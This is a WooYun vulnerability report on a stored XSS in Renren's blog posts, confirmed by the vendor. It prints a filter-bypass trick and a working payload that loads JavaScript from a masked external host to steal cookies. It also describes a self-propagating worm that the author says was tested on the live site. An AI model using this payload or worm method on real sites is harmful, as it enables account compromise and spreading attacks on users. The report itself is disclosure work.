当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-015078

漏洞标题:人人网日志存储型XSS 绕过过滤器 小范围测试了蠕虫

相关厂商:人人网

漏洞作者: Duking

提交时间:2012-11-21 19:43

修复时间:2013-01-05 19:44

公开时间:2013-01-05 19:44

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-21: 细节已通知厂商并且等待厂商处理中
2012-11-23: 厂商已经确认,细节仅向厂商公开
2012-12-03: 细节向核心白帽子及相关领域专家公开
2012-12-13: 细节向普通白帽子公开
2012-12-23: 细节向实习白帽子公开
2013-01-05: 细节向公众公开

简要描述:

@Drizzle.Risk 公布了腾讯空间/校友的日志XSS,话说这洞我还木有好好玩呢,就被发出来了。算了发个人人网的日志存储型XSS,可以加载外部JS,获取Cookies,自动发日志传播XSS代码。小范围测试了蠕虫。危害比较严重。

详细说明:

日志发布时候通过Chrome的审查元素直接编辑HTML代码,或者通过burpsuite改包就可以发布HTML格式的数据。可是发现过滤的比较严,通过一大堆测试样本黑盒测试后发现了侧漏。经过好长时间的筛选找打了绕过过滤器的地方,诡异的很。到现在还很郁闷人人的过滤器到底是个什么机制。

edit.png


XSS测试代码只要加上

<a href="http://www.test.com/gv">&nbsp;</a>


这个标签XSS过滤器就完全失效。后面的gv是必须的,中间也可加字符,比如g__v g.....v 等等 可能是通过正则提取来判断的,黑盒测试结果。。。不明真相,很是郁闷。
比如:
以下代码被过滤

<script>alert(/xss/);</script>


以下代码可以绕过过滤器

<script>alert(/xss/);</script>
<a href="http://www.test.com/gv">&nbsp;</a>


是不是很奇葩?
但是如果直接加入script标签,script标签里面的数据会被注释掉.

xss.png


于是使用img 的onerror事件 发现居然过滤掉了 说明在这一层还有过滤的
添加了个DIV设置长宽为100% 使用onmousemove行为来触发XSS.
最终利用代码如下

<div style="height:100%; width:100%;z-index:10;position:absolute; left:0px; top:0px;" id="Nietzsche" 
onmousemove="var script=document.createElement('SCRIPT');script.setAttribute('type','text/javascript');script.setAttribute('src','http://xxxxxx.com/xss-test/renren/test.js');document.getElementsByTagName('head')[0].appendChild(script);">
<a href="http://www.test.com/gv">&nbsp;</a>
</div>


之后想干什么都可以了。。比如妹纸信息什么的。。
后来和@Drizzle.Risk一起研究了下发日志的功能,发日志时需要验证token,要先获得token。然后@Drizzle.Risk就写了个蠕虫,之前在wooyun看过有人发人人的蠕虫被删账号的,怕怕。就小范围测试了下。可以自动发日志传播XSS代码,标记日志为喜欢。
JS代码就不发上来了

漏洞证明:

弹窗长的都一样

cookies.png


测试下蠕虫
只要放个图片,基本上都会点的吧
点击之后。就可以自动喜欢该日志以及发表新XSS日志。

ruchong.png


RIZHI.png


最后发个福利。。贴个大图

修复方案:

过滤器的规则貌似有点问题。 具体还是交给人人的大牛分析吧。。

版权声明:转载请注明来源 Duking@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2012-11-23 02:24

厂商回复:

小样儿,下次别玩的这么hi,哥被你折腾惨了,所以给你一分

最新状态:

暂无